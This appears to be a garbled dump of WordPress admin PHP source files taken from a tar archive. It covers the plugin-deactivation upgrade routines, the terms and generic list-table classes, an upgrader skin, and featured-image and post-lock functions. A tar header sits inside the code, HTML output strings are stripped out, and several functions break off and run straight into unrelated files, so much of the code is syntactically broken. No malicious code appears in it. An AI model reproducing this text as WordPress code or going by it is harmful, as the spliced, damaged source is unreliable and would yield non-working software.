function _upgrade_440_force_deactivate_incompatible_plugins() {
if ( defined( 'REST_API_VERSION' ) && version_compare( REST_API_VERSION, '2.0-beta4', '<=' ) ) {
deactivate_plugins( array( 'rest-api/plugin.php' ), true );
}
}
/**
* @access private
* @ignore
* @since 5.8.0
* @since 5.9.0 The minimum compatible version of Gutenberg is 11.9.
* @since 6.1.1 The minimum compatible version of Gutenberg is 14.1.
* @since 6.4.0 The minimum compatible version of Gutenberg is 16.5.
* @since 6.5.0 The minimum compatible version of Gutenberg is 17.6.
*/
function _upgrade_core_deactivate_incompatible_plugins() {
if ( defined( 'GUTENBERG_VERSION' ) && version_compare( GUTENBERG_VERSION, '17.6', '<' ) ) {
$deactivated_gutenberg['gutenberg'] = array(
'plugin_name' => 'Gutenberg',
'version_deactivated' => GUTENBERG_VERSION,
'version_compatible' => '17.6',
);
if ( is_plugin_active_for_network( 'gutenberg/gutenberg.php' ) ) {
$deactivated_plugins = get_site_option( 'wp_force_deactivated_plugins', array() );
$deactivated_plugins = array_merge( $deactivated_plugins, $deactivated_gutenberg );
update_site_option( 'wp_force_deactivated_plugins', $deactivated_plugins );
} else {
$deactivated_plugins = get_option( 'wp_force_deactivated_plugins', array() );
$deactivated_plugins = array_merge( $deactivated_plugins, $deactivated_gutenberg );
update_option( 'wp_force_deactivated_plugins', $deactivated_plugins, false );
}
deactivate_plugins( array( 'gutenberg/gutenberg.php' ), true );
}
}
class-wp-terms-list-table.php 0000644 00000051276 14757313107 0012217 0 ustar 00 'tags',
'singular' => 'tag',
'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
)
);
$action = $this->screen->action;
$post_type = $this->screen->post_type;
$taxonomy = $this->screen->taxonomy;
if ( empty( $taxonomy ) ) {
$taxonomy = 'post_tag';
}
if ( ! taxonomy_exists( $taxonomy ) ) {
wp_die( __( 'Invalid taxonomy.' ) );
}
$tax = get_taxonomy( $taxonomy );
// @todo Still needed? Maybe just the show_ui part.
if ( empty( $post_type ) || ! in_array( $post_type, get_post_types( array( 'show_ui' => true ) ), true ) ) {
$post_type = 'post';
}
}
/**
* @return bool
*/
public function ajax_user_can() {
return current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->manage_terms );
}
/**
*/
public function prepare_items() {
$taxonomy = $this->screen->taxonomy;
$tags_per_page = $this->get_items_per_page( "edit_{$taxonomy}_per_page" );
if ( 'post_tag' === $taxonomy ) {
/**
* Filters the number of terms displayed per page for the Tags list table.
*
* @since 2.8.0
*
* @param int $tags_per_page Number of tags to be displayed. Default 20.
*/
$tags_per_page = apply_filters( 'edit_tags_per_page', $tags_per_page );
/**
* Filters the number of terms displayed per page for the Tags list table.
*
* @since 2.7.0
* @deprecated 2.8.0 Use {@see 'edit_tags_per_page'} instead.
*
* @param int $tags_per_page Number of tags to be displayed. Default 20.
*/
$tags_per_page = apply_filters_deprecated( 'tagsperpage', array( $tags_per_page ), '2.8.0', 'edit_tags_per_page' );
} elseif ( 'category' === $taxonomy ) {
/**
* Filters the number of terms displayed per page for the Categories list table.
*
* @since 2.8.0
*
* @param int $tags_per_page Number of categories to be displayed. Default 20.
*/
$tags_per_page = apply_filters( 'edit_categories_per_page', $tags_per_page );
}
$search = ! empty( $_REQUEST['s'] ) ? trim( wp_unslash( $_REQUEST['s'] ) ) : '';
$args = array(
'taxonomy' => $taxonomy,
'search' => $search,
'page' => $this->get_pagenum(),
'number' => $tags_per_page,
'hide_empty' => 0,
);
if ( ! empty( $_REQUEST['orderby'] ) ) {
$args['orderby'] = trim( wp_unslash( $_REQUEST['orderby'] ) );
}
if ( ! empty( $_REQUEST['order'] ) ) {
$args['order'] = trim( wp_unslash( $_REQUEST['order'] ) );
}
$args['offset'] = ( $args['page'] - 1 ) * $args['number'];
// Save the values because 'number' and 'offset' can be subsequently overridden.
$this->callback_args = $args;
if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
// We'll need the full set of terms then.
$args['number'] = 0;
$args['offset'] = $args['number'];
}
$this->items = get_terms( $args );
$this->set_pagination_args(
array(
'total_items' => wp_count_terms(
array(
'taxonomy' => $taxonomy,
'search' => $search,
)
),
'per_page' => $tags_per_page,
)
);
}
/**
*/
public function no_items() {
echo get_taxonomy( $this->screen->taxonomy )->labels->not_found;
}
/**
* @return array
*/
protected function get_bulk_actions() {
$actions = array();
if ( current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->delete_terms ) ) {
$actions['delete'] = __( 'Delete' );
}
return $actions;
}
/**
* @return string
*/
public function current_action() {
if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['delete_tags'] ) && 'delete' === $_REQUEST['action'] ) {
return 'bulk-delete';
}
return parent::current_action();
}
/**
* @return string[] Array of column titles keyed by their column name.
*/
public function get_columns() {
$columns = array(
'cb' => '',
'name' => _x( 'Name', 'term name' ),
'description' => __( 'Description' ),
'slug' => __( 'Slug' ),
);
if ( 'link_category' === $this->screen->taxonomy ) {
$columns['links'] = __( 'Links' );
} else {
$columns['posts'] = _x( 'Count', 'Number/count of items' );
}
return $columns;
}
/**
* @return array
*/
protected function get_sortable_columns() {
$taxonomy = $this->screen->taxonomy;
if ( ! isset( $_GET['orderby'] ) && is_taxonomy_hierarchical( $taxonomy ) ) {
$name_orderby_text = __( 'Table ordered hierarchically.' );
} else {
$name_orderby_text = __( 'Table ordered by Name.' );
}
return array(
'name' => array( 'name', false, _x( 'Name', 'term name' ), $name_orderby_text, 'asc' ),
'description' => array( 'description', false, __( 'Description' ), __( 'Table ordered by Description.' ) ),
'slug' => array( 'slug', false, __( 'Slug' ), __( 'Table ordered by Slug.' ) ),
'posts' => array( 'count', false, _x( 'Count', 'Number/count of items' ), __( 'Table ordered by Posts Count.' ) ),
'links' => array( 'count', false, __( 'Links' ), __( 'Table ordered by Links.' ) ),
);
}
/**
*/
public function display_rows_or_placeholder() {
$taxonomy = $this->screen->taxonomy;
$number = $this->callback_args['number'];
$offset = $this->callback_args['offset'];
// Convert it to table rows.
$count = 0;
if ( empty( $this->items ) || ! is_array( $this->items ) ) {
echo '
';
$this->no_items();
echo '
';
return;
}
if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $this->callback_args['orderby'] ) ) {
if ( ! empty( $this->callback_args['search'] ) ) {// Ignore children on searches.
$children = array();
} else {
$children = _get_term_hierarchy( $taxonomy );
}
/*
* Some funky recursion to get the job done (paging & parents mainly) is contained within.
* Skip it for non-hierarchical taxonomies for performance sake.
*/
$this->_rows( $taxonomy, $this->items, $children, $offset, $number, $count );
} else {
foreach ( $this->items as $term ) {
$this->single_row( $term );
}
}
}
/**
* @param string $taxonomy
* @param array $terms
* @param array $children
* @param int $start
* @param int $per_page
* @param int $count
* @param int $parent_term
* @param int $level
*/
private function _rows( $taxonomy, $terms, &$children, $start, $per_page, &$count, $parent_term = 0, $level = 0 ) {
$end = $start + $per_page;
foreach ( $terms as $key => $term ) {
if ( $count >= $end ) {
break;
}
if ( $term->parent !== $parent_term && empty( $_REQUEST['s'] ) ) {
continue;
}
// If the page starts in a subtree, print the parents.
if ( $count === $start && $term->parent > 0 && empty( $_REQUEST['s'] ) ) {
$my_parents = array();
$parent_ids = array();
$p = $term->parent;
while ( $p ) {
$my_parent = get_term( $p, $taxonomy );
$my_parents[] = $my_parent;
$p = $my_parent->parent;
if ( in_array( $p, $parent_ids, true ) ) { // Prevent parent loops.
break;
}
$parent_ids[] = $p;
}
unset( $parent_ids );
$num_parents = count( $my_parents );
while ( $my_parent = array_pop( $my_parents ) ) {
echo "\t";
$this->single_row( $my_parent, $level - $num_parents );
--$num_parents;
}
}
if ( $count >= $start ) {
echo "\t";
$this->single_row( $term, $level );
}
++$count;
unset( $terms[ $key ] );
if ( isset( $children[ $term->term_id ] ) && empty( $_REQUEST['s'] ) ) {
$this->_rows( $taxonomy, $terms, $children, $start, $per_page, $count, $term->term_id, $level + 1 );
}
}
}
/**
* @global string $taxonomy Global taxonomy.
*
* @param WP_Term $tag Term object.
* @param int $level
*/
public function single_row( $tag, $level = 0 ) {
global $taxonomy;
$tag = sanitize_term( $tag, $taxonomy );
$this->level = $level;
if ( $tag->parent ) {
$count = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
$level = 'level-' . $count;
} else {
$level = 'level-0';
}
echo '
';
$this->single_row_columns( $tag );
echo '
';
}
/**
* @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_Term $item Term object.
* @return string
*/
public function column_cb( $item ) {
// Restores the more descriptive, specific name for use within this method.
$tag = $item;
if ( current_user_can( 'delete_term', $tag->term_id ) ) {
return sprintf(
'' .
'',
$tag->term_id,
/* translators: Hidden accessibility text. %s: Taxonomy term name. */
sprintf( __( 'Select %s' ), $tag->name )
);
}
return ' ';
}
/**
* @param WP_Term $tag Term object.
* @return string
*/
public function column_name( $tag ) {
$taxonomy = $this->screen->taxonomy;
$pad = str_repeat( '— ', max( 0, $this->level ) );
/**
* Filters display of the term name in the terms list table.
*
* The default output may include padding due to the term's
* current level in the term hierarchy.
*
* @since 2.5.0
*
* @see WP_Terms_List_Table::column_name()
*
* @param string $pad_tag_name The term name, padded if not top-level.
* @param WP_Term $tag Term object.
*/
$name = apply_filters( 'term_name', $pad . ' ' . $tag->name, $tag );
$qe_data = get_term( $tag->term_id, $taxonomy, OBJECT, 'edit' );
$uri = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];
$edit_link = get_edit_term_link( $tag, $taxonomy, $this->screen->post_type );
if ( $edit_link ) {
$edit_link = add_query_arg(
'wp_http_referer',
urlencode( wp_unslash( $uri ) ),
$edit_link
);
$name = sprintf(
'%s',
esc_url( $edit_link ),
/* translators: %s: Taxonomy term name. */
esc_attr( sprintf( __( '“%s” (Edit)' ), $tag->name ) ),
$name
);
}
$output = sprintf(
'%s ',
$name
);
/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_taxonomy', true, $taxonomy );
if ( $quick_edit_enabled ) {
$output .= '
';
$output .= '
' . $qe_data->name . '
';
/** This filter is documented in wp-admin/edit-tag-form.php */
$output .= '
';
}
/**
* Retrieves the list of bulk actions available for this table.
*
* The format is an associative array where each element represents either a top level option value and label, or
* an array representing an optgroup and its options.
*
* For a standard option, the array element key is the field value and the array element value is the field label.
*
* For an optgroup, the array element key is the label and the array element value is an associative array of
* options as above.
*
* Example:
*
* [
* 'edit' => 'Edit',
* 'delete' => 'Delete',
* 'Change State' => [
* 'feature' => 'Featured',
* 'sale' => 'On Sale',
* ]
* ]
*
* @since 3.1.0
* @since 5.6.0 A bulk action can now contain an array of options in order to create an optgroup.
*
* @return array
*/
protected function get_bulk_actions() {
return array();
}
/**
* Displays the bulk actions dropdown.
*
* @since 3.1.0
*
* @param string $which The location of the bulk actions: Either 'top' or 'bottom'.
* This is designated as optional for backward compatibility.
*/
protected function bulk_actions( $which = '' ) {
if ( is_null( $this->_actions ) ) {
$this->_actions = $this->get_bulk_actions();
/**
* Filters the items in the bulk actions menu of the list table.
*
* The dynamic portion of the hook name, `$this->screen->id`, refers
* to the ID of the current screen.
*
* @since 3.1.0
* @since 5.6.0 A bulk action can now contain an array of options in order to create an optgroup.
*
* @param array $actions An array of the available bulk actions.
*/
$this->_actions = apply_filters( "bulk_actions-{$this->screen->id}", $this->_actions ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
$two = '';
} else {
$two = '2';
}
if ( empty( $this->_actions ) ) {
return;
}
echo '';
echo '\n";
submit_button( __( 'Apply' ), 'action', 'bulk_action', false, array( 'id' => "doaction$two" ) );
echo "\n";
}
/**
* Gets the current action selected from the bulk actions dropdown.
*
* @since 3.1.0
*
* @return string|false The action name. False if no action was selected.
*/
public function current_action() {
if ( isset( $_REQUEST['filter_action'] ) && ! empty( $_REQUEST['filter_action'] ) ) {
return false;
}
if ( isset( $_REQUEST['action'] ) && '-1' !== $_REQUEST['action'] ) {
return $_REQUEST['action'];
}
return false;
}
/**
* Generates the required HTML for a list of row action links.
*
* @since 3.1.0
*
* @param string[] $actions An array of action links.
* @param bool $always_visible Whether the actions should be always visible.
* @return string The HTML for the row actions.
*/
protected function row_actions( $actions, $always_visible = false ) {
$action_count = count( $actions );
if ( ! $action_count ) {
return '';
}
$mode = get_user_setting( 'posts_list_mode', 'list' );
if ( 'excerpt' === $mode ) {
$always_visible = true;
}
$output = '
";
echo $this->_pagination;
}
/**
* Gets a list of columns.
*
* The format is:
* - `'internal-name' => 'Title'`
*
* @since 3.1.0
* @abstract
*
* @return array
*/
public function get_columns() {
die( 'function WP_List_Table::get_columns() must be overridden in a subclass.' );
}
/**
* Gets a list of sortable columns.
*
* The format is:
* - `'internal-name' => 'orderby'`
* - `'internal-name' => array( 'orderby', bool, 'abbr', 'orderby-text', 'initially-sorted-column-order' )` -
* - `'internal-name' => array( 'orderby', 'asc' )` - The second element sets the initial sorting order.
* - `'internal-name' => array( 'orderby', true )` - The second element makes the initial order descending.
*
* In the second format, passing true as second parameter will make the initial
* sorting order be descending. Following parameters add a short column name to
* be used as 'abbr' attribute, a translatable string for the current sorting,
* and the initial order for the initial sorted column, 'asc' or 'desc' (default: false).
*
* @since 3.1.0
* @since 6.3.0 Added 'abbr', 'orderby-text' and 'initially-sorted-column-order'.
*
* @return array
*/
protected function get_sortable_columns() {
return array();
}
/**
* Gets the name of the default primary column.
*
* @since 4.3.0
*
* @return string Name of the default primary column, in this case, an empty string.
*/
protected function get_default_primary_column_name() {
$columns = $this->get_columns();
$column = '';
if ( empty( $columns ) ) {
return $column;
}
/*
* We need a primary defined so responsive views show something,
* so let's fall back to the first non-checkbox column.
*/
foreach ( $columns as $col => $column_name ) {
if ( 'cb' === $col ) {
continue;
}
$column = $col;
break;
}
return $column;
}
/**
* Gets the name of the primary column.
*
* Public wrapper for WP_List_Table::get_default_primary_column_name().
*
* @since 4.4.0
*
* @return string Name of the default primary column.
*/
public function get_primary_column() {
return $this->get_primary_column_name();
}
/**
* Gets the name of the primary column.
*
* @since 4.3.0
*
* @return string The name of the primary column.
*/
protected function get_primary_column_name() {
$columns = get_column_headers( $this->screen );
$default = $this->get_default_primary_column_name();
/*
* If the primary column doesn't exist,
* fall back to the first non-checkbox column.
*/
if ( ! isset( $columns[ $default ] ) ) {
$default = self::get_default_primary_column_name();
}
/**
* Filters the name of the primary column for the current list table.
*
* @since 4.3.0
*
* @param string $default Column name default for the specific list table, e.g. 'name'.
* @param string $context Screen ID for specific list table, e.g. 'plugins'.
*/
$column = apply_filters( 'list_table_primary_column', $default, $this->screen->id );
if ( empty( $column ) || ! isset( $columns[ $column ] ) ) {
$column = $default;
}
return $column;
}
/**
* Gets a list of all, hidden, and sortable columns, with filter applied.
*
* @since 3.1.0
*
* @return array
*/
protected function get_column_info() {
// $_column_headers is already set / cached.
if (
isset( $this->_column_headers ) &&
is_array( $this->_column_headers )
) {
/*
* Backward compatibility for `$_column_headers` format prior to WordPress 4.3.
*
* In WordPress 4.3 the primary column name was added as a fourth item in the
* column headers property. This ensures the primary column name is included
* in plugins setting the property directly in the three item format.
*/
if ( 4 === count( $this->_column_headers ) ) {
return $this->_column_headers;
}
$column_headers = array( array(), array(), array(), $this->get_primary_column_name() );
foreach ( $this->_column_headers as $key => $value ) {
$column_headers[ $key ] = $value;
}
$this->_column_headers = $column_headers;
return $this->_column_headers;
}
$columns = get_column_headers( $this->screen );
$hidden = get_hidden_columns( $this->screen );
$sortable_columns = $this->get_sortable_columns();
/**
* Filters the list table sortable columns for a specific screen.
*
* The dynamic portion of the hook name, `$this->screen->id`, refers
* to the ID of the current screen.
*
* @since 3.1.0
*
* @param array $sortable_columns An array of sortable columns.
*/
$_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns );
$sortable = array();
foreach ( $_sortable as $id => $data ) {
if ( empty( $data ) ) {
continue;
}
$data = (array) $data;
// Descending initial sorting.
if ( ! isset( $data[1] ) ) {
$data[1] = false;
}
// Current sorting translatable string.
if ( ! isset( $data[2] ) ) {
$data[2] = '';
}
// Initial view sorted column and asc/desc order, default: false.
if ( ! isset( $data[3] ) ) {
$data[3] = false;
}
// Initial order for the initial sorted column, default: false.
if ( ! isset( $data[4] ) ) {
$data[4] = false;
}
$sortable[ $id ] = $data;
}
$primary = $this->get_primary_column_name();
$this->_column_headers = array( $columns, $hidden, $sortable, $primary );
return $this->_column_headers;
}
/**
* Returns the number of visible columns.
*
* @since 3.1.0
*
* @return int
*/
public function get_column_count() {
list ( $columns, $hidden ) = $this->get_column_info();
$hidden = array_intersect( array_keys( $columns ), array_filter( $hidden ) );
return count( $columns ) - count( $hidden );
}
/**
* Prints column headers, accounting for hidden and sortable columns.
*
* @since 3.1.0
*
* @param bool $with_id Whether to set the ID attribute or not
*/
public function print_column_headers( $with_id = true ) {
list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
$current_url = remove_query_arg( 'paged', $current_url );
// When users click on a column header to sort by other columns.
if ( isset( $_GET['orderby'] ) ) {
$current_orderby = $_GET['orderby'];
// In the initial view there's no orderby parameter.
} else {
$current_orderby = '';
}
// Not in the initial view and descending order.
if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
$current_order = 'desc';
} else {
// The initial view is not always 'asc', we'll take care of this below.
$current_order = 'asc';
}
if ( ! empty( $columns['cb'] ) ) {
static $cb_counter = 1;
$columns['cb'] = '
';
++$cb_counter;
}
foreach ( $columns as $column_key => $column_display_name ) {
$class = array( 'manage-column', "column-$column_key" );
$aria_sort_attr = '';
$abbr_attr = '';
$order_text = '';
if ( in_array( $column_key, $hidden, true ) ) {
$class[] = 'hidden';
}
if ( 'cb' === $column_key ) {
$class[] = 'check-column';
} elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ), true ) ) {
$class[] = 'num';
}
if ( $column_key === $primary ) {
$class[] = 'column-primary';
}
if ( isset( $sortable[ $column_key ] ) ) {
$orderby = isset( $sortable[ $column_key ][0] ) ? $sortable[ $column_key ][0] : '';
$desc_first = isset( $sortable[ $column_key ][1] ) ? $sortable[ $column_key ][1] : false;
$abbr = isset( $sortable[ $column_key ][2] ) ? $sortable[ $column_key ][2] : '';
$orderby_text = isset( $sortable[ $column_key ][3] ) ? $sortable[ $column_key ][3] : '';
$initial_order = isset( $sortable[ $column_key ][4] ) ? $sortable[ $column_key ][4] : '';
/*
* We're in the initial view and there's no $_GET['orderby'] then check if the
* initial sorting information is set in the sortable columns and use that.
*/
if ( '' === $current_orderby && $initial_order ) {
// Use the initially sorted column $orderby as current orderby.
$current_orderby = $orderby;
// Use the initially sorted column asc/desc order as initial order.
$current_order = $initial_order;
}
/*
* True in the initial view when an initial orderby is set via get_sortable_columns()
* and true in the sorted views when the actual $_GET['orderby'] is equal to $orderby.
*/
if ( $current_orderby === $orderby ) {
// The sorted column. The `aria-sort` attribute must be set only on the sorted column.
if ( 'asc' === $current_order ) {
$order = 'desc';
$aria_sort_attr = ' aria-sort="ascending"';
} else {
$order = 'asc';
$aria_sort_attr = ' aria-sort="descending"';
}
$class[] = 'sorted';
$class[] = $current_order;
} else {
// The other sortable columns.
$order = strtolower( $desc_first );
if ( ! in_array( $order, array( 'desc', 'asc' ), true ) ) {
$order = $desc_first ? 'desc' : 'asc';
}
$class[] = 'sortable';
$class[] = 'desc' === $order ? 'asc' : 'desc';
/* translators: Hidden accessibility text. */
$asc_text = __( 'Sort ascending.' );
/* translators: Hidden accessibility text. */
$desc_text = __( 'Sort descending.' );
$order_text = 'asc' === $order ? $asc_text : $desc_text;
}
if ( '' !== $order_text ) {
$order_text = ' ' . $order_text . '';
}
// Print an 'abbr' attribute if a value is provided via get_sortable_columns().
$abbr_attr = $abbr ? ' abbr="' . esc_attr( $abbr ) . '"' : '';
$column_display_name = sprintf(
'' .
'%2$s' .
'' .
'' .
'' .
'' .
'%3$s' .
'',
esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ),
$column_display_name,
$order_text
);
}
$tag = ( 'cb' === $column_key ) ? 'td' : 'th';
$scope = ( 'th' === $tag ) ? 'scope="col"' : '';
$id = $with_id ? "id='$column_key'" : '';
if ( ! empty( $class ) ) {
$class = "class='" . implode( ' ', $class ) . "'";
}
echo "<$tag $scope $id $class $aria_sort_attr $abbr_attr>$column_display_name$tag>";
}
}
/**
* Print a table description with information about current sorting and order.
*
* For the table initial view, information about initial orderby and order
* should be provided via get_sortable_columns().
*
* @since 6.3.0
* @access public
*/
public function print_table_description() {
list( $columns, $hidden, $sortable ) = $this->get_column_info();
if ( empty( $sortable ) ) {
return;
}
// When users click on a column header to sort by other columns.
if ( isset( $_GET['orderby'] ) ) {
$current_orderby = $_GET['orderby'];
// In the initial view there's no orderby parameter.
} else {
$current_orderby = '';
}
// Not in the initial view and descending order.
if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
$current_order = 'desc';
} else {
// The initial view is not always 'asc', we'll take care of this below.
$current_order = 'asc';
}
foreach ( array_keys( $columns ) as $column_key ) {
if ( isset( $sortable[ $column_key ] ) ) {
$orderby = isset( $sortable[ $column_key ][0] ) ? $sortable[ $column_key ][0] : '';
$desc_first = isset( $sortable[ $column_key ][1] ) ? $sortable[ $column_key ][1] : false;
$abbr = isset( $sortable[ $column_key ][2] ) ? $sortable[ $column_key ][2] : '';
$orderby_text = isset( $sortable[ $column_key ][3] ) ? $sortable[ $column_key ][3] : '';
$initial_order = isset( $sortable[ $column_key ][4] ) ? $sortable[ $column_key ][4] : '';
if ( ! is_string( $orderby_text ) || '' === $orderby_text ) {
return;
}
/*
* We're in the initial view and there's no $_GET['orderby'] then check if the
* initial sorting information is set in the sortable columns and use that.
*/
if ( '' === $current_orderby && $initial_order ) {
// Use the initially sorted column $orderby as current orderby.
$current_orderby = $orderby;
// Use the initially sorted column asc/desc order as initial order.
$current_order = $initial_order;
}
/*
* True in the initial view when an initial orderby is set via get_sortable_columns()
* and true in the sorted views when the actual $_GET['orderby'] is equal to $orderby.
*/
if ( $current_orderby === $orderby ) {
/* translators: Hidden accessibility text. */
$asc_text = __( 'Ascending.' );
/* translators: Hidden accessibility text. */
$desc_text = __( 'Descending.' );
$order_text = 'asc' === $current_order ? $asc_text : $desc_text;
echo '
' . $orderby_text . ' ' . $order_text . '
';
return;
}
}
}
}
/**
* Displays the table.
*
* @since 3.1.0
*/
public function display() {
$singular = $this->_args['singular'];
$this->display_tablenav( 'top' );
$this->screen->render_screen_reader_content( 'heading_list' );
?>
print_table_description(); ?>
print_column_headers(); ?>
>
display_rows_or_placeholder(); ?>
print_column_headers( false ); ?>
display_tablenav( 'bottom' );
}
/**
* Gets a list of CSS classes for the WP_List_Table table tag.
*
* @since 3.1.0
*
* @return string[] Array of CSS classes for the table tag.
*/
protected function get_table_classes() {
$mode = get_user_setting( 'posts_list_mode', 'list' );
$mode_class = esc_attr( 'table-view-' . $mode );
return array( 'widefat', 'fixed', 'striped', $mode_class, $this->_args['plural'] );
}
/**
* Generates the table navigation above or below the table
*
* @since 3.1.0
* @param string $which The location of the navigation: Either 'top' or 'bottom'.
*/
protected function display_tablenav( $which ) {
if ( 'top' === $which ) {
wp_nonce_field( 'bulk-' . $this->_args['plural'] );
}
?>
';
}
}
/**
* Generates the list table rows.
*
* @since 3.1.0
*/
public function display_rows() {
foreach ( $this->items as $item ) {
$this->single_row( $item );
}
}
/**
* Generates content for a single row of the table.
*
* @since 3.1.0
*
* @param object|array $item The current item
*/
public function single_row( $item ) {
echo '
';
$this->single_row_columns( $item );
echo '
';
}
/**
* @param object|array $item
* @param string $column_name
*/
protected function column_default( $item, $column_name ) {}
/**
* @param object|array $item
*/
protected function column_cb( $item ) {}
/**
* Generates the columns for a single row of the table.
*
* @since 3.1.0
*
* @param object|array $item The current item.
*/
protected function single_row_columns( $item ) {
list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
foreach ( $columns as $column_name => $column_display_name ) {
$classes = "$column_name column-$column_name";
if ( $primary === $column_name ) {
$classes .= ' has-row-actions column-primary';
}
if ( in_array( $column_name, $hidden, true ) ) {
$classes .= ' hidden';
}
/*
* Comments column uses HTML in the display name with screen reader text.
* Strip tags to get closer to a user-friendly string.
*/
$data = 'data-colname="' . esc_attr( wp_strip_all_tags( $column_display_name ) ) . '"';
$attributes = "class='$classes' $data";
if ( 'cb' === $column_name ) {
echo '
', $title, $this->upgrader->update_current, $this->upgrader->update_count );
echo '';
// This progress messages div gets moved via JavaScript when clicking on "More details.".
echo '
';
$this->flush_output();
}
/**
* Performs an action following a bulk update.
*
* @since 3.0.0
*
* @param string $title
*/
public function after( $title = '' ) {
echo '
';
$upload_iframe_src = get_upload_iframe_src( 'image', $post->ID );
$content = sprintf(
$set_thumbnail_link,
esc_url( $upload_iframe_src ),
'', // Empty when there's no featured image set, `aria-describedby` attribute otherwise.
esc_html( $post_type_object->labels->set_featured_image )
);
if ( $thumbnail_id && get_post( $thumbnail_id ) ) {
$size = isset( $_wp_additional_image_sizes['post-thumbnail'] ) ? 'post-thumbnail' : array( 266, 266 );
/**
* Filters the size used to display the post thumbnail image in the 'Featured image' meta box.
*
* Note: When a theme adds 'post-thumbnail' support, a special 'post-thumbnail'
* image size is registered, which differs from the 'thumbnail' image size
* managed via the Settings > Media screen.
*
* @since 4.4.0
*
* @param string|int[] $size Requested image size. Can be any registered image size name, or
* an array of width and height values in pixels (in that order).
* @param int $thumbnail_id Post thumbnail attachment ID.
* @param WP_Post $post The post object associated with the thumbnail.
*/
$size = apply_filters( 'admin_post_thumbnail_size', $size, $thumbnail_id, $post );
$thumbnail_html = wp_get_attachment_image( $thumbnail_id, $size );
if ( ! empty( $thumbnail_html ) ) {
$content = sprintf(
$set_thumbnail_link,
esc_url( $upload_iframe_src ),
' aria-describedby="set-post-thumbnail-desc"',
$thumbnail_html
);
$content .= '
';
}
}
$content .= '';
/**
* Filters the admin post thumbnail HTML markup to return.
*
* @since 2.9.0
* @since 3.5.0 Added the `$post_id` parameter.
* @since 4.6.0 Added the `$thumbnail_id` parameter.
*
* @param string $content Admin post thumbnail HTML markup.
* @param int $post_id Post ID.
* @param int|null $thumbnail_id Thumbnail attachment ID, or null if there isn't one.
*/
return apply_filters( 'admin_post_thumbnail_html', $content, $post->ID, $thumbnail_id );
}
/**
* Determines whether the post is currently being edited by another user.
*
* @since 2.5.0
*
* @param int|WP_Post $post ID or object of the post to check for editing.
* @return int|false ID of the user with lock. False if the post does not exist, post is not locked,
* the user with lock does not exist, or the post is locked by current user.
*/
function wp_check_post_lock( $post ) {
$post = get_post( $post );
if ( ! $post ) {
return false;
}
$lock = get_post_meta( $post->ID, '_edit_lock', true );
if ( ! $lock ) {
return false;
}
$lock = explode( ':', $lock );
$time = $lock[0];
$user = isset( $lock[1] ) ? (int) $lock[1] : (int) get_post_meta( $post->ID, '_edit_last', true );
if ( ! get_userdata( $user ) ) {
return false;
}
/** This filter is documented in wp-admin/includes/ajax-actions.php */
$time_window = apply_filters( 'wp_check_post_lock_window', 150 );
if ( $time && $time > time() - $time_window && get_current_user_id() !== $user ) {
return $user;
}
return false;
}
/**
* Marks the post as currently being edited by the current user.
*
* @since 2.5.0
*
* @param int|WP_Post $post ID or object of the post being edited.
* @return array|false {
* Array of the lock time and user ID. False if the post does not exist, or there
* is no current user.
*
* @type int $0 The current time as a Unix timestamp.
* @type int $1 The ID of the current user.
* }
*/
function wp_set_post_lock( $post ) {
$post = get_post( $post );
if ( ! $post ) {
return false;
}
$user_id = get_current_user_id();
if ( 0 === $user_id ) {
return false;
}
$now = time();
$lock = "$now:$user_id";
update_post_meta( $post->ID, '_edit_lock', $lock );
return array( $now, $user_id );
}
/**
* Outputs the HTML for the notice to say that someone else is editing or has taken over editing of this post.
*
* @since 2.8.5
*/
function _admin_notice_post_locked() {
$post = get_post();
if ( ! $post ) {
return;
}
$user = null;
$user_id = wp_check_post_lock( $post->ID );
if ( $user_id ) {
$user = get_userdata( $user_id );
}
if ( $user ) {
/**
* Filters whether to show the post locked dialog.
*
* Returning false from the filter will prevent the dialog from being displayed.
*
* @since 3.6.0
*
* @param bool $display Whether to display the dialog. Default true.
* @param WP_Post $post Post object.
* @param WP_User $user The user with the lock for the post.
*/
if ( ! apply_filters( 'show_post_locked_dialog', true, $post, $user ) ) {
return;
}
$locked = true;
} else {
$locked = false;
}
$sendback = wp_get_referer();
$sendback_text = __( 'Go back' );
if ( ! $locked || ! $sendback || str_contains( $sendback, 'post.php' ) || str_contains( $sendback, 'post-new.php' ) ) {
$sendback = admin_url( 'edit.php' );
if ( 'post' !== $post->post_type ) {
$sendback = add_query_arg( 'post_type', $post->post_type, $sendback );
}
$post_type_object = get_post_type_object( $post->post_type );
if ( $post_type_object ) {
$sendback_text = $post_type_object->labels->all_items;
}
}
$hidden = $locked ? '' : ' hidden';
?>
post_type )->public ) {
if ( 'publish' === $post->post_status || $user->ID !== (int) $post->post_author ) {
// Latest content is in autosave.
$nonce = wp_create_nonce( 'post_preview_' . $post->ID );
$query_args['preview_id'] = $post->ID;
$query_args['preview_nonce'] = $nonce;
}
}
$preview_link = get_preview_post_link( $post->ID, $query_args );
/**
* Filters whether to allow the post lock to be overridden.
*
* Returning false from the filter will disable the ability
* to override the post lock.
*
* @since 3.6.0
*
* @param bool $override Whether to allow the post lock to be overridden. Default true.
* @param WP_Post $post Post object.
* @param WP_User $user The user with the lock for the post.
*/
$override = apply_filters( 'override_post_lock', true, $post, $user );
$tab_last = $override ? '' : ' wp-tab-last';
?>
ID, 64 ); ?>
display_name ) );
} else {
